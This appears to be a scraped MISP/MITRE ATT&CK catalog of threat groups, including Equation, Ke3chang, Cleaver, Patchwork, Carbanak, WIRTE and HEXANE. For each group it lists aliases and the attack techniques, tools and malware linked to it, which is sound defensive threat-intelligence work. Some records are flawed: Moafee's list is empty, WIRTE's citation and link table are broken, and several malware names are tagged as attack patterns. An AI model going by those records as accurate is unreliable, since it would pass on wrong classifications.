• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cannon - S0351" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="HIDEDRV - S0135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Wevtutil - S0645" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="almost-certain"

Table 6426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0007">https://attack.mitre.org/groups/G0007</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2020/Aug/13/2002476465/-1/1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF">https://media.defense.gov/2020/Aug/13/2002476465/-1/1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/">https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/">https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
<tr>
<td><a href="https://www.justice.gov/file/1080281/download">https://www.justice.gov/file/1080281/download</a></td>
</tr>
<tr>
<td><a href="https://www.justice.gov/opa/page/file/1098481/download">https://www.justice.gov/opa/page/file/1098481/download</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign">https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/">https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/</a></td>
</tr>
</tbody>
</table>
**Equation - G0020**

[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-intrusion-set="Equation - G0020"*

Equation - G0020 is also known as:

- Equation

View relationships graph

Equation - G0020 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

**Moafee - G0002**

[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Moafee - G0002"*

Moafee - G0002 is also known as:

- Moafee

View relationships graph

Moafee - G0002 has relationships with:
Ke3chang - G0004

[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010. (Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="Ke3chang - G0004"`

Ke3chang - G0004 is also known as:

- Ke3chang
- APT15
- Mirage
- Vixen Panda
- GREF
- Playful Dragon
- RoyalAPT
- NICKEL

View relationships graph

Ke3chang - G0004 has relationships with:

- uses: `misp-galaxy:mitre-tool="Net - S0039"` with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-tool="spwebmember - S0227" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Okrum - S0439" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Neoichor - S0691" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="MirageFox - S0280" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 6429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0004">https://attack.mitre.org/groups/G0004</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs">https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs</a></td>
</tr>
</tbody>
</table>
Cleaver - G0003

[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: `misp-galaxy:mitre-intrusion-set="Cleaver - G0003"`

Cleaver - G0003 is also known as:

- Cleaver
- Threat Group 2889
- TG-2889

View relationships graph

Cleaver - G0003 has relationships with:

- similar: `misp-galaxy:threat-actor="Cutting Kitten"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Malware - T1587.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="OilRig"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="Cleaver"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="CHRYSENE"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001"` with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Net Crawler - S0056" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0003">https://attack.mitre.org/groups/G0003</a></td>
</tr>
</tbody>
</table>

**Patchwork - G0040**

[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Patchwork - G0040"
Patchwork - G0040 is also known as:

- Patchwork
- Hangover Group
- Dropping Elephant
- Chinastrats
- MONSOON
- Operation Hangover

View relationships graph

Patchwork - G0040 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="摩诃草 - APT-C-09" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern=""TINYTYPHON - S0131" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Unknown Logger - S0130" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="BackConfig - S0475" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="NDiskMonitor - S0272" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf">http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries">http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0040">https://attack.mitre.org/groups/G0040</a></td>
</tr>
</tbody>
</table>
Carbanak - G0008

[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware. (Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)

The tag is: _misp-galaxy:mitre-intrusion-set="Carbanak - G0008"

Carbanak - G0008 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - G0008 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:360net-threat-actor="Carbanak - APT-C-11" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6432. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0008">https://attack.mitre.org/groups/G0008</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html">https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-niagara">https://www.secureworks.com/research/threat-profiles/gold-niagara</a></td>
</tr>
</tbody>
</table>

**WIRTE - G0090**

[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation:
The tag is: `misp-galaxy:mitre-intrusion-set="WIRTE - G0090"`

**WIRTE - G0090** is also known as:

- **WIRTE**

**View relationships graph**

**WIRTE - G0090** has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-tool="Empire - S0363"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="Ferocious - S0679"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="LitePower - S0680"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 6433. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>3286</td>
</tr>
</tbody>
</table>
HEXANE - G1001

[HEXANE](https://attack.mitre.org/groups/G1001) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="HEXANE - G1001"`

HEXANE - G1001 is also known as:

- HEXANE
- Lyceum
- Siamesekitten
- Spirlin

View relationships graph

HEXANE - G1001 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="ipconfig - S0100"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PoshC2 - S0378" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DnsSystem - S1021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Milan - S1015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DanBot - S1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
